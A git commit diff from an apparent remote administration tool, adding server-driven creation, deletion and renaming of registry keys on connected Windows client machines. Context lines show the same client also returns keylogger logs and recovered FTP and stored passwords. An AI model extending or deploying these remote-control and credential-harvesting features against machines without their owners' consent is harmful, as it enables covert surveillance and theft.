Added functionality for performing Create, Delete and Rename on the RegistryKey's.

This commit is contained in:
StingRaptor 2016-01-21 18:58:52 +01:00
parent 24723a00da
commit 8276dc479f
10 changed files with 727 additions and 51 deletions

View File

@ -109,6 +109,7 @@
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
<Compile Include="Core\Registry\RegistryEditor.cs" />
<Compile Include="Core\Registry\RegistrySeeker.cs" />
<Compile Include="Core\Registry\RegistrySeekerParams.cs" />
<Compile Include="Core\Registry\RegSeekerMatch.cs" />

View File

@ -53,5 +53,68 @@ namespace xClient.Core.Commands
catch
{ }
}
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
string errorMsg = "";
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Match = new RegSeekerMatch(newKeyName, new List<RegValueData>(), 0);
responsePacket.ParentPath = packet.ParentPath;
responsePacket.Execute(client);
}
public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse();
string errorMsg = "";
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = packet.ParentPath;
responsePacket.KeyName = packet.KeyName;
responsePacket.Execute(client);
}
public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse();
string errorMsg = "";
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = packet.ParentPath;
responsePacket.OldKeyName = packet.OldKeyName;
responsePacket.NewKeyName = packet.NewKeyName;
responsePacket.Execute(client);
}
}
}

View File

@ -80,6 +80,174 @@ namespace xClient.Core.Extensions
}
}
/// <summary>
/// Attempts to create a writable sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is to be created from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
/// unable to create a sub-key.</returns>
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.CreateSubKey(name);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to delete a sub-key and its children from the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
{
key.DeleteSubKeyTree(name, false);
return true;
}
catch
{
return false;
}
}
#region Rename
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This is a work that is not of the original. It
* has been modified to suit the needs of another
* application.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* First Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
*/
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns boolean value if the action succeded or failed; Returns
/// </returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
//Despose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
//Try to despose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old subkey to a new subkey for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns nothing
/// </returns>
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
using (RegistryKey newKey = key.CreateSubKey(newName))
{
//Open old key
using (RegistryKey oldKey = key.OpenSubKey(oldName, true))
{
//Copy from old to new
RecursiveCopyKey(oldKey, newKey);
}
}
}
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param>
/// <returns>Returns nothing
/// </returns>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
//Copy all of the registry values
foreach (string valueName in sourceKey.GetValueNames())
{
object valueObj = sourceKey.GetValue(valueName);
RegistryValueKind valueKind = sourceKey.GetValueKind(valueName);
destKey.SetValue(valueName, valueObj, valueKind);
}
//Copy all of the subkeys
foreach (string subKeyName in sourceKey.GetSubKeyNames())
{
using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName))
{
using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName))
{
//Recursive call to copy the sub key data
RecursiveCopyKey(sourceSubkey, destSubKey);
}
}
}
}
#endregion
#region FindKey
/// <summary>
/// Checks if the specified subkey exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
{
if (subkey == name)
{
return true;
}
}
return false;
}
#endregion
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.

View File

@ -128,6 +128,18 @@ namespace xClient.Core.Packets
{
CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.DoCreateRegistryKey))
{
CommandHandler.HandleCreateRegistryKey((ServerPackets.DoCreateRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.DoDeleteRegistryKey))
{
CommandHandler.HandleDeleteRegistryKey((ServerPackets.DoDeleteRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.DoRenameRegistryKey))
{
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);

View File

@ -0,0 +1,166 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using xClient.Core.Extensions;
namespace xClient.Core.Registry
{
public class RegistryEditor
{
/// <summary>
/// Attempts to create the desired sub key to the specified parent.
/// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// /// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
{
name = "";
try
{
RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath);
//Invalid can not open parent
if (parent == null)
{
errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator";
return false;
}
//Try to find available names
int i = 1;
string testName = String.Format("New Key #{0}", i);
while (parent.ContainsSubKey(testName))
{
i++;
testName = String.Format("New Key #{0}", i);
}
name = testName;
using (RegistryKey child = parent.CreateSubKeySafe(name))
{
//Child could not be created
if (child == null)
{
errorMsg = "Cannot create key: Error writing to the registry";
return false;
}
}
//Child was successfully created
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
/// <summary>
/// Attempts to delete the desired sub-key from the specified parent.
/// </summary>
/// <param name="name">The name of the sub-key to delete.</param>
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
{
try
{
RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath);
//Invalid can not open parent
if (parent == null)
{
errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator";
return false;
}
//Child does not exist
if (!parent.ContainsSubKey(name))
{
errorMsg = "The registry: " + name + " does not exist in: " + parentPath;
//If child does not exists then the action has already succeded
return true;
}
bool success = parent.DeleteSubKeyTreeSafe(name);
//Child could not be deleted
if (!success)
{
errorMsg = "Cannot delete key: Error writing to the registry";
return false;
}
//Child was successfully deleted
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
/// <summary>
/// Attempts to rename the desired key.
/// </summary>
/// <param name="oldName">The name of the key to rename.</param>
/// <param name="newName">The name to use for renaming.</param>
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
{
try
{
RegistryKey parent = RegistrySeeker.GetWritableRegistryKey(parentPath);
//Invalid can not open parent
if (parent == null)
{
errorMsg = "You do not have access to open registry: " + parentPath + ", try running as administrator";
return false;
}
//Child does not exist
if (!parent.ContainsSubKey(oldName))
{
errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath;
//If child does not exists then the action has already succeded
return false;
}
bool success = parent.RenameSubKeySafe(oldName, newName);
//Child could not be deleted
if (!success)
{
errorMsg = "Cannot rename key: Error writing to the registry";
return false;
}
//Child was successfully deleted
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
}
}

View File

@ -26,5 +26,65 @@ namespace xServer.Core.Commands
catch
{ }
}
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
public static void HandleDeleteRegistryKey(xServer.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.RemoveKeyFromTree(packet.ParentPath, packet.KeyName);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
}
}

View File

@ -70,6 +70,18 @@ namespace xServer.Core.Packets
{
CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse))
{
CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse))
{
CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse))
{
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);

View File

@ -37,16 +37,16 @@
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components);
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.lstRegistryKeys = new xServer.Controls.AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.lstRegistryKeys = new xServer.Controls.AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tableLayoutPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit();
this.splitContainer.Panel1.SuspendLayout();
@ -99,6 +99,7 @@
this.tvRegistryDirectory.SelectedImageIndex = 0;
this.tvRegistryDirectory.Size = new System.Drawing.Size(411, 664);
this.tvRegistryDirectory.TabIndex = 0;
this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit);
this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand);
this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick);
//
@ -129,6 +130,52 @@
this.imageRegistryKeyTypeList.ImageSize = new System.Drawing.Size(16, 16);
this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
//
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.newToolStripMenuItem,
this.toolStripSeparator1,
this.deleteToolStripMenuItem,
this.renameToolStripMenuItem});
this.contextMenuStrip.Name = "contextMenuStrip";
this.contextMenuStrip.Size = new System.Drawing.Size(153, 98);
//
// newToolStripMenuItem
//
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.keyToolStripMenuItem});
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.newToolStripMenuItem.Text = "New";
//
// deleteToolStripMenuItem
//
this.deleteToolStripMenuItem.Enabled = false;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.deleteToolStripMenuItem.Text = "Delete";
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteRegistryKey_Click);
//
// renameToolStripMenuItem
//
this.renameToolStripMenuItem.Enabled = false;
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.renameToolStripMenuItem.Text = "Rename";
this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameRegistryKey_Click);
//
// keyToolStripMenuItem
//
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
this.keyToolStripMenuItem.Text = "Key";
this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click);
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(149, 6);
//
// lstRegistryKeys
//
this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
@ -159,49 +206,6 @@
this.hValue.Text = "Value";
this.hValue.Width = 384;
//
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.newToolStripMenuItem,
this.toolStripSeparator1,
this.deleteToolStripMenuItem,
this.renameToolStripMenuItem});
this.contextMenuStrip.Name = "contextMenuStrip";
this.contextMenuStrip.Size = new System.Drawing.Size(153, 98);
//
// newToolStripMenuItem
//
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.keyToolStripMenuItem});
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.newToolStripMenuItem.Text = "New";
//
// deleteToolStripMenuItem
//
this.deleteToolStripMenuItem.Enabled = false;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.deleteToolStripMenuItem.Text = "Delete";
//
// renameToolStripMenuItem
//
this.renameToolStripMenuItem.Enabled = false;
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.renameToolStripMenuItem.Text = "Rename";
//
// keyToolStripMenuItem
//
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
this.keyToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.keyToolStripMenuItem.Text = "Key";
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(149, 6);
//
// FrmRegistryEditor
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);

View File

@ -120,6 +120,67 @@ namespace xServer.Forms
}
}
public void AddKeyToTree(string rootKey, RegSeekerMatch match)
{
TreeNode parent = GetParentTreeNode(rootKey);
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
//This will execute in the form thread
TreeNode node = CreateNode(match.Key, match.Key, match.Data);
if (match.HasSubKeys)
{
node.Nodes.Add(new TreeNode());
}
parent.Nodes.Add(node);
if (!parent.IsExpanded)
{
tvRegistryDirectory.SelectedNode = parent;
tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand);
parent.Expand();
}
else
{
tvRegistryDirectory.SelectedNode = node;
tvRegistryDirectory.LabelEdit = true;
node.BeginEdit();
}
});
}
public void RemoveKeyFromTree(string rootKey, string subKey)
{
TreeNode parent = GetParentTreeNode(rootKey);
//Error key does not exists
if (!parent.Nodes.ContainsKey(subKey))
return;
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
parent.Nodes.RemoveByKey(subKey);
});
}
public void RenameKeyFromTree(string rootKey, string oldName, string newName)
{
TreeNode parent = GetParentTreeNode(rootKey);
//Error the key does not exist
if (!parent.Nodes.ContainsKey(oldName))
return;
int index = parent.Nodes.IndexOfKey(oldName);
//Temp - Should not be neccesary (only need to confirm the add)
tvRegistryDirectory.Invoke((MethodInvoker)delegate
{
parent.Nodes[index].Text = newName;
parent.Nodes[index].Name = newName;
});
}
/// <summary>
/// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating
/// the TreeNodes if necessary.
@ -197,6 +258,19 @@ namespace xServer.Forms
#endregion
#region Popup actions
public void ShowErrorMessage(string errorMsg)
{
this.Invoke((MethodInvoker)delegate
{
MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
});
}
#endregion
#region ListView Helpfunctions
public void PopulateLstRegistryKeys(List<RegValueData> values)
@ -219,6 +293,43 @@ namespace xServer.Forms
#region tvRegistryDirectory Action
private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e)
{
//No need to edit if it is null
if (e.Label != null)
{
//Prevent the change of the label
e.CancelEdit = true;
if (e.Label.Length > 0)
{
foreach (TreeNode node in e.Node.Parent.Nodes)
{
if (node.Text == e.Label && node != e.Node)
{
//Prompt error
MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
e.Node.BeginEdit();
return;
}
}
//Normal rename action
//Perform Rename action
new xServer.Core.Packets.ServerPackets.DoRenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label).Execute(_connectClient);
tvRegistryDirectory.LabelEdit = false;
}
else
{
//Prompt error
MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
e.Node.BeginEdit();
}
}
}
private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e)
{
// Before expansion of the node, prepare the first node with RegistryKeys.
@ -230,13 +341,10 @@ namespace xServer.Forms
try
{
tvRegistryDirectory.SuspendLayout();
parentNode.Nodes.Clear();
// Send a packet to retrieve the data to use for the nodes.
new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(parentNode.FullPath).Execute(_connectClient);
}
finally
{
@ -281,5 +389,87 @@ namespace xServer.Forms
}
#endregion
#region ContextMenu
private void createNewRegistryKey_Click(object sender, EventArgs e)
{
if (tvRegistryDirectory.SelectedNode != null)
{
if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0)
{
//Subscribe
tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand);
tvRegistryDirectory.SelectedNode.Expand();
}
else
{
//Try to create a new subkey
new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient);
}
}
}
private void deleteRegistryKey_Click(object sender, EventArgs e)
{
if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null)
{
//Prompt user to confirm delete
string msg = "Are you sure you want to permanently delete this key and all of its subkeys?";
string caption = "Confirm Key Delete";
var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (answer == DialogResult.Yes)
{
string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath;
new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient);
}
}
}
private void renameRegistryKey_Click(object sender, EventArgs e)
{
if (tvRegistryDirectory.SelectedNode != null)
{
tvRegistryDirectory.LabelEdit = true;
tvRegistryDirectory.SelectedNode.BeginEdit();
}
}
#endregion
#region Handlers
private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e)
{
if (e.Node == tvRegistryDirectory.SelectedNode)
{
//Trigger a click
createNewRegistryKey_Click(this, e);
//Unsubscribe
tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand);
}
}
////A special case for when the node was empty and add was performed before expand
private void specialCreateRegistryKey_AfterExpand(object sender, TreeViewEventArgs e)
{
if (e.Node == tvRegistryDirectory.SelectedNode)
{
tvRegistryDirectory.SelectedNode = tvRegistryDirectory.SelectedNode.FirstNode;
tvRegistryDirectory.LabelEdit = true;
tvRegistryDirectory.SelectedNode.BeginEdit();
//Unsubscribe
tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand);
}
}
#endregion
}
}

View File

@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
BwAAAk1TRnQBSQFMAwEBAAGgAQABoAEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
BwAAAk1TRnQBSQFMAwEBAAHgAQAB4AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm